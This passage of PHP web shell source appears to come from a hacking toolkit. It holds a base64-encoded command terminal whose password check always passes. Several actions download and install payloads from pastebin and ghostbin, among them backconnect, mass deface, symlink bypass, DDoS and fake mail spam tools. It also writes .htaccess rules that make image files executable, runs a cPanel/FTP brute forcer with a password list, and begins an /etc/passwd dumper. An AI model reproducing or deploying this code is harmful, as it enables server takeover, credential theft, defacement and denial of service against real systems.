KY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWlsZENvbW1hbmRIaXN0b3J5KCk7CiR0ZXJtaW5hbC0+YnVpbGRKYXZhSGlzdG9yeSgpOwppZighaXNzZXQoJF9TRVNTSU9OWydwcm9tcHQnXSkpOiAkdGVybWluYWwtPmZvcm1hdFByb21wdCgpOyBlbmRpZjsKJHRlcm1pbmFsLT5vdXRwdXRIYW5kbGUoJGFsaWFzZXMpOwoKaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOwplY2hvICc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/PicgLiAiXG4iOwovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIHNhZmUgbW9kZSBpbmNyZWFzZQojIyBibG9xdWUgZm9uY3Rpb24KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwo/Pgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIgoiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIiB4bWw6bGFuZz0iZW4iIGxhbmc9ImVuIj4KPGhlYWQ+Cjx0aXRsZT48P3BocCBlY2hvICJXZWJzaXRlIDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIiI7Pz4gfCA8P3BocCBlY2hvICJJUCA6ICIuZ2V0aG9zdGJ5bmFtZSgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkuIiI7Pz48L3RpdGxlPgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwpmdW5jdGlvbiBrZXkoZSkgewppZiAoIWUpIHZhciBlID0gd2luZG93LmV2ZW50OwppZiAoZS5rZXlDb2RlID09IDM4ICYmIGN1cnJlbnRfbGluZSA8IGNvbW1hbmRfaGlzdC5sZW5ndGgtMSkgewpjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXSA9IGRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWU7CmN1cnJlbnRfbGluZSsrOwpkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlID0gY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV07Cn0KaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQp9CmZ1bmN0aW9uIGluaXQoKSB7CmRvY3VtZW50LnNoZWxsLnNldEF0dHJpYnV0ZSgiYXV0b2NvbXBsZXRlIiwgIm9mZiIpOwpkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuc2hlbGwub3V0cHV0LnNjcm9sbEhlaWdodDsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC5mb2N1cygpOwp9Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg==';
1874 $file = fopen("command.php", "w+");
1875 $write = fwrite($file, base64_decode($perltoolss));
1876 fclose($file);
1877 echo "<iframe src=command.php width=63% height=700px frameborder=0></iframe> ";
1878}//end NewCommand
1879
1880//symroot
1881elseif ($action == 'symroot') {
1882 $file = fopen($dir . "symroot.php", "w+");
1883 $perltoolss = file_get_contents('https://ghostbin.com/paste/fno7j/raw');
1884 $file = fopen("symroot.php", "w+");
1885 $write = fwrite($file, base64_decode($perltoolss));
1886 fclose($file);
1887 echo "<iframe src='symroot.php' width='100%' height='500'></iframe>";
1888 }
1889
1890//Zipcode
1891elseif ($action == 'zipcode') {
1892 $file = fopen($dir . "zipcode.php", "w+");
1893 $perltoolss = file_get_contents('https://ghostbin.com/paste/fxfu4/raw');
1894 $file = fopen("zipcode.php", "w+");
1895 $write = fwrite($file, base64_decode($perltoolss));
1896 fclose($file);
1897 echo "<iframe src='zipcode.php' width='100%' height='500'></iframe>";
1898 }
1899
1900//Massdeface
1901elseif ($action == 'mass') {
1902 $file = fopen($dir . "mass.php", "w+");
1903 $perltoolss = file_get_contents('https://ghostbin.com/paste/ggq7v/raw');
1904 $file = fopen("mass.php", "w+");
1905 $write = fwrite($file, base64_decode($perltoolss));
1906 fclose($file);
1907 echo "<iframe src='mass.php' width='100%' height='500'></iframe>";
1908 }
1909
1910
1911//ShellBypass
1912elseif ($action == 'vb') {
1913 $file = fopen($dir . "shellbypass.php", "w+");
1914 $perltoolss = file_get_contents('https://ghostbin.com/paste/cu2qo/raw');
1915 $file = fopen("shellbypass.php", "w+");
1916 $write = fwrite($file, base64_decode($perltoolss));
1917 fclose($file);
1918 echo "<iframe src='shellbypass.php' width='100%' height='500'></iframe>";
1919 }
1920
1921elseif ($action == 'termi') {
1922 $file = fopen($dir . "DGTerminal.php", "w+");
1923 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=F3AUVq9q');
1924 $file = fopen("DGTerminal.php", "w+");
1925 $write = fwrite($file, base64_decode($perltoolss));
1926 fclose($file);
1927 echo "<iframe src='DGTerminal.php' width='100%' height='500'></iframe>";
1928 }
1929
1930 elseif ($action == 'cgipin') {
1931 mkdir('Pin', 0755);
1932 chdir('Pin');
1933 $kokdosya = ".htaccess";
1934 $dosya_adi = "$kokdosya";
1935 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1936 $metin = "Options +ExecCGI
1937AddHandler cgi-script cgi pl cgi gmc pin jpg
1938RewriteEngine on
1939RewriteRule (.*)\.mil$ $1.cgi
1940Options +FollowSymLinks
1941DirectoryIndex cmd.html
1942Options +Indexes
1943RemoveHandler .hack
1944AddType text/plain .hack";
1945 fwrite($dosya, $metin);
1946 fclose($dosya);
1947 $perltoolss = file_get_contents('https://ghostbin.com/paste/5qyrs/raw');
1948 $file = fopen("cgi.pin", "w+");
1949 $write = fwrite($file, base64_decode($perltoolss));
1950 fclose($file);
1951 chmod("cgi.pin", 0755);
1952 echo "<iframe src=pin/cgi.pin width=100% height=720px frameborder=0></iframe> ";
1953}
1954
1955elseif ($action == 'telnet') {
1956 mkdir('tel', 0755);
1957 chdir('tel');
1958 $kokdosya = ".htaccess";
1959 $dosya_adi = "$kokdosya";
1960 $dosya = fopen($dosya_adi, 'w') or die("Can not open file!");
1961 $metin = "Options +FollowSymLinks +Indexes
1962DirectoryIndex default.html
1963## START ##
1964Options +ExecCGI
1965AddHandler cgi-script log cgi pl tg love h4 Marion001 tgb x-zone
1966AddType application/x-httpd-php .jpg
1967RewriteEngine on
1968RewriteRule (.*)\war$ .log
1969## END ##";
1970 fwrite($dosya, $metin);
1971 fclose($dosya);
1972 $perltoolss = file_get_contents('https://ghostbin.com/paste/bh278/raw');
1973 $file = fopen("telnet.pl", "w+");
1974 $write = fwrite($file, base64_decode($perltoolss));
1975 fclose($file);
1976 chmod("telnet.pl", 0755);
1977 echo "<iframe src=tel/telnet.pl width=100% height=720px frameborder=0></iframe> ";
1978}
1979
1980elseif ($action == 'endecode') {
1981$en = 'http://pastebin.com/raw.php?i=y5Qhr0WM';
1982$de = file_get_contents($en);
1983$cone = fopen('endecode.php', 'w');
1984fwrite($cone,$de);
1985fclose($cone);
1986echo "<iframe src='endecode.php' width='100%' height='500'></iframe>";
1987}
1988
1989elseif ($action == 'ddosv2') {
1990$ddosv = 'http://pastebin.com/raw.php?i=XYwv7CSa';
1991$dess = file_get_contents($ddosv);
1992$coneww = fopen('ddosv2.php', 'w');
1993fwrite($coneww,$dess);
1994fclose($coneww);
1995echo "<iframe src='ddosv2.php' width='100%' height='500'></iframe>";
1996}
1997
1998elseif ($action == 'bcphp') {
1999 $file = fopen($dir . "backconnect.php", "w+");
2000 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=Q7mAs9Nf');
2001 $file = fopen("backconnect.php", "w+");
2002 $write = fwrite($file, base64_decode($perltoolss));
2003 fclose($file);
2004 echo "<iframe src='backconnect.php' width='100%' height='500'></iframe>";
2005}
2006
2007elseif ($action == 'viewdomain') {
2008$viewdomain = 'http://pastebin.com/raw.php?i=iGsiu7uK';
2009$desszzzz = file_get_contents($viewdomain);
2010$coww = fopen('viewdomain.php', 'w');
2011fwrite($coww,$desszzzz);
2012fclose($coww);
2013echo "<iframe src='viewdomain.php' width='100%' height='500'></iframe>";
2014}
2015
2016elseif ($action == 'scan') {
2017 $file = fopen($dir . "scan.php", "w+");
2018 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=PiUR3LPb');
2019 $file = fopen("scan.php", "w+");
2020 $write = fwrite($file, base64_decode($perltoolss));
2021 fclose($file);
2022 echo "<iframe src='scan.php' width='100%' height='500'></iframe>";
2023}
2024
2025elseif ($action == 'massfd') {
2026 $file = fopen($dir . "massfd.php", "w+");
2027 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=S0uCaquf');
2028 $file = fopen("massfd.php", "w+");
2029 $write = fwrite($file, base64_decode($perltoolss));
2030 fclose($file);
2031 echo "<iframe src='massfd.php' width='100%' height='500'></iframe>";
2032}
2033
2034elseif ($action == 'reverseip') {
2035
2036 echo "<iframe src=http://www.yougetsignal.com/tools/web-sites-on-web-server/ width=100% height=720px frameborder=0></iframe> ";
2037}
2038
2039
2040elseif ($action == 'spam') {
2041 $file = fopen($dir . "fakemail.php", "w+");
2042 $perltoolss = file_get_contents('http://pastebin.com/raw.php?i=LjRcNVUa');
2043 $file = fopen("fakemail.php", "w+");
2044 $write = fwrite($file, base64_decode($perltoolss));
2045 fclose($file);
2046 echo "<iframe src='fakemail.php' width='100%' height='500'></iframe>";
2047}
2048
2049
2050//Bugshell
2051elseif ($action == 'bug') {
2052$bug = 'http://pastebin.com/raw.php?i=07hwC5fW';
2053$bugshell = file_get_contents($bug);
2054$bs = fopen('bugshell.php', 'w');
2055fwrite($bs,$bugshell);
2056fclose($mdf);
2057echo "<iframe src='bugshell.php' width='100%' height='500'></iframe>";
2058}
2059
2060//FINDADMIN
2061elseif ($action == 'findadmin') {
2062$find = 'http://pastebin.com/raw.php?i=8UmXBduC';
2063$admin = file_get_contents($find);
2064$dmm = fopen('findadmin.php', 'w');
2065fwrite($dmm,$admin);
2066fclose($dmm);
2067echo "<iframe src='findadmin.php' width='100%' height='500'></iframe>";
2068}
2069
2070// Brute
2071elseif ($action == 'brute') {
2072formhead(array('title'=>'Brute Forcer'));
2073 makehide('action','brute');
2074 makehide('dir',$brute);
2075@ini_set('memory_limit', 1000000000000);
2076$connect_timeout=5;
2077@set_time_limit(0);
2078$submit = $_REQUEST['submit'];
2079$users = $_REQUEST['users'];
2080$pass = $_REQUEST['passwords'];
2081$target = $_REQUEST['target'];
2082$option = $_REQUEST['option'];
2083
2084
2085$passlist = "0123456
208601234567
2087012345678
20880123456789
208901234567890
2090123456
20911234567
209212345678
2093123456789
20941234567890
2095111111
2096000000
2097222222
2098333333
2099444444
2100555555
2101666666
2102777777
2103888888
2104999999
2105123123
2106456456
2107789789
2108123321
2109456654
2110654321
21117654321
211287654321
2113987654321
21140987654321
2115admin
2116administrator
2117admincp
2118cpanel
2119adminx
2120admins
2121password
2122passwords
2123passw0rd
2124p@ssw0rd
2125p@ssword
2126khongco
212725251325
2128passw0rds";
2129if($target == ''){
2130$target = 'localhost';
2131}
2132print " <div align='center'>
2133<form method='post' style='border: 1px solid #000000'><br><br>
2134<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
2135<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
2136<div align='center'><br>
2137<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
2138<tr>
2139<td align='center'>
2140<b>Username</b></td>
2141<td>
2142<p align='center'>
2143<b>Password</b></td>
2144</tr>
2145</table>
2146<p align='center'>
2147<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
2148$i = 0;
2149while ($i < 60000) {
2150
2151 $line = posix_getpwuid($i);
2152 if (!empty($line)) {
2153
2154 while (list ($key, $vba_etcpwd) = each($line)){
2155 echo "".$vba_etcpwd."\n";
2156 break;
2157 }
2158
2159 }
2160
2161 $i++;
2162}
2163echo "
2164</textarea>
2165<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
2166<br>
2167<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
2168<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
2169</td></tr></table></td></tr></form><p align= 'left'>";
2170?>
2171<?php
2172function ftp_check($host,$user,$pass,$timeout){
2173$ch = curl_init();
2174curl_setopt($ch, CURLOPT_URL, "ftp://$host");
2175curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2176curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2177curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
2178curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2179curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2180curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2181$data = curl_exec($ch);
2182if ( curl_errno($ch) == 28 ) {
2183
2184print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2185exit;}
2186
2187elseif ( curl_errno($ch) == 0 ){
2188
2189p("<b>[ attack@vbateam.net ]# </b>
2190<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
2191}
2192curl_close($ch);}
2193
2194function cpanel_check($host,$user,$pass,$timeout){
2195$ch = curl_init();
2196curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
2197curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
2198curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
2199curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
2200curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
2201curl_setopt($ch, CURLOPT_FAILONERROR, 1);
2202$data = curl_exec($ch);
2203if ( curl_errno($ch) == 28 ) {
2204print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
2205exit;}
2206elseif ( curl_errno($ch) == 0 ){
2207
2208p("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
2209
2210if(isset($submit) && !empty($submit)){
2211
2212$userlist = explode ("\n" , $users );
2213$passlist = explode ("\n" , $pass );
2214p('<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>');
2215foreach ($userlist as $user) {
2216$_user = trim($user);
2217foreach ($passlist as $password ) {
2218$_pass = trim($password);
2219if($option == "ftp"){
2220ftp_check($target,$_user,$_pass,$connect_timeout);
2221}
2222if ($option == "cpanel")
2223{
2224cpanel_check($target,$_user,$_pass,$connect_timeout);
2225}
2226}
2227}
2228}
2229
2230 formfoot();
2231}
2232
2233
2234
2235
2236
2237
2238elseif ($action == 'etcpwd') {
2239formhead(array('title'=>'Get /etc/passwd'));
2240 makehide('action','etcpwd');
2241 makehide('dir',$nowpath);
2242$i = 0;
2243 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
